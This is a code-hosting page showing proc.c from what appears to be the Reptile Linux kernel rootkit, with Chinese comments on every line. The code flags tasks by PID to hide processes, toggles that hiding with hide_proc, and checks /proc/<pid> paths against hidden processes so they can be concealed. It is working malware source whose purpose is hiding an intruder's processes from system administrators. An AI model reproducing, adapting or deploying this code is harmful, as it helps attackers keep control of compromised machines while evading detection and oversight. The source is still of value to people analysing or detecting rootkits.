You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
reptile/src/Reptile/kernel/proc.c

149 lines
4.0 KiB

This file contains ambiguous Unicode characters!

This file contains ambiguous Unicode characters that may be confused with others in your current locale. If your use case is intentional and legitimate, you can safely ignore this warning. Use the Escape button to highlight these characters.

#include <linux/version.h> // 包含内核版本相关的头文件
#include <linux/uaccess.h> // 包含用户空间访问相关的头文件
#include <linux/ctype.h> // 包含字符类型判断相关的头文件
#include <linux/slab.h> // 包含内核内存分配相关的头文件
#include <linux/namei.h> // 包含文件路径相关的头文件
#include <linux/limits.h> // 包含系统限制相关的头文件
#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)
# include <linux/sched/signal.h> // 包含调度和信号相关的头文件内核版本4.11及以上)
#endif
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 2, 0)
# include "string_helpers.h" // 包含字符串辅助函数内核版本4.2以下)
#endif
#include "proc.h" // 包含自定义的proc.h头文件
// 设置或清除任务的标志
int flag_tasks(pid_t pid, int set)
{
int ret = 0; // 返回值初始化为0
struct pid *p; // 定义pid结构体指针
rcu_read_lock(); // 获取RCU读锁
p = find_get_pid(pid); // 根据pid获取pid结构体
if (p) {
struct task_struct *task = get_pid_task(p, PIDTYPE_PID); // 获取任务结构体
if (task) {
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0)
struct task_struct *t = NULL;
for_each_thread(task, t) // 遍历任务的所有线程
{
if (set)
t->flags |= FLAG; // 设置标志
else
t->flags &= ~FLAG; // 清除标志
ret++; // 计数
}
#endif
if (set)
task->flags |= FLAG; // 设置标志
else
task->flags &= ~FLAG; // 清除标志
put_task_struct(task); // 释放任务结构体
}
put_pid(p); // 释放pid结构体
}
rcu_read_unlock(); // 释放RCU读锁
return ret; // 返回设置或清除标志的任务数
}
// 根据pid查找任务
struct task_struct *find_task(pid_t pid)
{
struct task_struct *p = current; // 当前任务
struct task_struct *ret = NULL; // 返回值初始化为NULL
rcu_read_lock(); // 获取RCU读锁
for_each_process(p) // 遍历所有进程
{
if (p->pid == pid) { // 如果找到匹配的pid
get_task_struct(p); // 获取任务结构体
ret = p; // 设置返回值
}
}
rcu_read_unlock(); // 释放RCU读锁
return ret; // 返回找到的任务结构体
}
// 判断进程是否不可见
int is_proc_invisible(pid_t pid)
{
struct task_struct *task; // 定义任务结构体指针
int ret = 0; // 返回值初始化为0
if (!pid) // 如果pid为0
return ret; // 返回0
task = find_task(pid); // 查找任务
if (!task) // 如果没有找到任务
return ret; // 返回0
if (is_task_invisible(task)) // 判断任务是否不可见
ret = 1; // 设置返回值为1
put_task_struct(task); // 释放任务结构体
return ret; // 返回结果
}
// 判断/proc目录下的进程是否不可见
int is_proc_invisible_2(const char __user *filename)
{
int ret = 0, i, argc, is_num = 1; // 初始化变量
pid_t pid = 0; // 初始化pid
char **a; // 定义字符指针数组
char *name = kmalloc(PATH_MAX, GFP_KERNEL); // 分配内核内存
if (strncpy_from_user(name, filename, PATH_MAX) > 0) { // 从用户空间复制字符串
if (strncmp(name, "/proc/", 6) == 0) { // 判断是否以/proc/开头
strreplace(name, '/', ' '); // 替换斜杠为空格
a = argv_split(GFP_KERNEL, name, &argc); // 分割字符串
for (i = 0; i < strlen(a[1]); i++) { // 遍历字符串
if (!isdigit(*a[1])) // 判断是否为数字
is_num = 0; // 设置为非数字
}
if (is_num) {
if (kstrtoint(a[1], 10, &pid) == 0) { // 将字符串转换为整数
if (is_proc_invisible(pid)) // 判断进程是否不可见
ret = 1; // 设置返回值为1
}
}
argv_free(a); // 释放字符指针数组
}
}
kfree(name); // 释放内存
return ret; // 返回结果
}
// 隐藏进程
void hide_proc(pid_t pid)
{
if (is_proc_invisible(pid)) // 判断进程是否不可见
flag_tasks(pid, 0); // 清除标志
else
flag_tasks(pid, 1); // 设置标志
}
/*
void hide_proc(char *pid_str)
{
pid_t pid;
if (kstrtoint(pid_str, 10, &pid) == 0) {
if (is_proc_invisible(pid))
flag_tasks(pid, 0);
else
flag_tasks(pid, 1);
}
}
*/